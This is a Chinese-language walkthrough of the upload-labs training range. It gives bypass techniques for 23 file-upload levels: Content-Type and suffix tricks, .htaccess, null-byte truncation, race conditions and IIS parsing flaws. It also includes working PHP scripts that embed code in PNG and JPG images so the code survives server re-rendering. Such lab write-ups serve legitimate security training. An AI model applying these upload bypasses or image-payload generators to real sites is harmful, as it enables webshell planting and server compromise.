upload-labs 文件上传靶场

1.Pass-01(前端验证绕过)
上传一个php文件,提示

1.png
用burp抓包发现并没有发送数据包

判断是前端验证

上传一个图片马

burp抓包,把文件名jpg改成php

2.png

用蚁剑连接成功

3.png

2.Pass-02(Content-Type方式绕过)

burp抓包,改请求头中的Content-Type为image/jpeg

4.png

连接成功

5.png

3.Pass-03(黑名单绕过)
burp抓包改后缀名为php3或phtml,绕过黑名单过滤

4.Pass-04(.htaccess文件绕过)
先上传.htaccess文件,将jpg格式当作php解析

6.png
再上传图片马
7.png

5.Pass-05(后缀大小写绕过)
burp抓包,文件名后缀改为phP上传

6.Pass-06(文件后缀(空)绕过)
burp抓包,在文件后缀名最后面添加一个空格

8.png
7.Pass-07(文件后缀(点)绕过)
burp抓包,在文件名后缀最后面添加一个”.”

Windows特性,会自动去掉文件名最后面的”.”

8.Pass-08(::$DATA(Windows文件流绕过))
Burp抓包,在文件后缀名后面添加”::$DATA”

Windows文件流特性,会自动删去后面的”::$DATA”

9.Pass-09(构造文件后缀绕过)
Burp抓包,在文件后缀名后面添加”. .”(点空格点)

函数会先删除掉”.”,再删除掉” “,最终上传的文件为”s.php.”

Windows特性,会删掉文件后缀名最后面的”.”

10.Pass-10(双写文件后缀绕过)
Burp抓包,该文件后缀名为”.pphphp”

服务器过滤文件名时,会匹配并删除”php”字段一次,最终两端拼接再次构成”.php”

11.Pass-11(%00截断绕过)
Burp抓包,发现文件路径
9.png

在路径后面添加”s.php%00”进行截断,并把文件名改为s.jpg

10.png

连接成功

12.Pass-12(%00截断绕过(二))
Burp抓包,在数据包中的路径参数后面添加s.php.

11.png

点击Hex查看数据包的十六进制

把路径中的最后一个”.”的十六进制”2e”改为”00”

放包,上传

13.Pass-13(图片马绕过)
制作图片马

先新建一个s.php:

再分别找s.jpg、s.png、s.gif三种后缀的正常文件

CMD下:
copy s.jpg /b + s.php /a s.jpg

制作一张jpg格式的图片马

直接上传,结合文件包含漏洞进行利用

14.Pass-14(getimagesize图片类型绕过)
getimagesize()函数:获取图像的大小尺寸信息,成功返回一个数组,失败返回false并产生一条错误信息

服务器用getimagesize()函数对上传文件进行判断是否为图片格式,判断了图片大小、尺寸。并返回图片类型和图片高度和宽度信息

用图片马绕过

15.Pass-15(php_exif模块图片类型绕过)
php_exif判断了图像的类型,会读取文件的第一个字节并检查签名

用图片马绕过

16.Pass-16(二次渲染绕过)
GIF:
找没有二次渲染的部分

12.png
在没有二次渲染部分插入一句话代码
13.png

上传

下载上传成功的gif,打开看见一句话依旧存在

14.png

PNG:

png图片绕过二次渲染比较麻烦,可以用脚本制作,也可以在png文件的PLTE数据块写入一句话,再重新计算并修改数据块的CRC值

用脚本制作:

<?php
//用法:命令: php png.php  会生成一个可绕过二次渲染的png图片
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

15.png

直接上传,查看上传成功的图片,发现一句话还存在

16.png

jpg绕过二次渲染需要多次尝试,因为并不是每个照片都有空间来插入一句话

用纯白色的jpg图片

先下载已经被渲染过的jpg,再用脚本生成一个带一句话的jpg

<?php
    /*
    用法:下载二次渲染过的图片,命名为1.jpg

    命令: php jpg.php 1.jpg

    */

    $miniPayload = "<?=phpinfo();?>"; //插入代码


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

上传

17.Pass-17(条件竞争绕过)
先上传一个php文件,显示“只允许上传.jpg|.png|.gif类型文件”

看源码

17.png

显示这句话说明应该已经满足了”if(move_uploaded_file($temp_file, $upload_file))”,说明文件已经上传成功,只不过没有满足过滤条件,所以提示这句话后用unlink()把上传的文件删除了

大致思路:用burp爆破模块不断上传一个php文件,内容是生成一个新的一句话php到当前目录,再用burp同时不断访问上传的这个php文件,在服务器删除上传的php文件前先将其执行一遍,生成一个新的php。

先创建test.php:

<?php $txt = ‘<?php phpinfo(); ?>’;file_put_contents(‘su.php’,$txt)?>

用burp爆破模块不断进行上传

再用burp爆破模块不断访问test.php

18.Pass-18(条件竞争(二)):
思路和17关一样

19.Pass-19(move_uploaded_file()截断):
利用了php5.4.38-5.6.6版本任意文件上传漏洞,漏洞编号CVE-2015-2348

上传一句话,用burp抓包

修改上传文件名

18.png

在Hex中修改php后面的第一个”.”的十六进制为”00”

19.png

放包,连接成功

20.png

20.Pass-20(IIS6.0解析漏洞(一))
用到了IIS6.0文件解析漏洞,会将cer格式的文件当作asp解析

看源码,允许cer格式上传

21.png

把asp一句话写到gif文件中,上传

用burp抓包,修改后缀名为cer

22.png

23.png

连接成功

24.png

21.Pass-21(IIS6.0解析漏洞(二))
用到了IIS6.0后缀解析,当上传的文件名为”test.asp;.jpg”或”test.asp:.jpg”这种类型时,会把文件当作asp解析

看源码,和上一关的区别是不允许cer格式上传

25.png

同样上传asp一句话,用burp抓包

改文件后缀名为

26.png

放包,上传
27.png

连接成功

28.png

22.Pass-22(IIS6.0解析漏洞(三))
用到了IIS6.0目录解析漏洞,当上传文件所在目录为”xx.asp”这种类型时,会把该目录下所有文件都当作asp解析

看源码,只允许上传jpg文件,所以上传一个jpg图片马

用burp抓包,改文件名为

29.png

放包,上传

30.png

连接成功

31.png

23.Pass-23(解析漏洞(四))

用到了IIS7.0/7.5的CGI解析漏洞,访问正常文件时,在url栏文件名后面加”/.php”会把这个文件当作php解析

上传gif图片马并访问该文件

在url栏文件名后面添加”/.php”

32.png

连接成功

33.png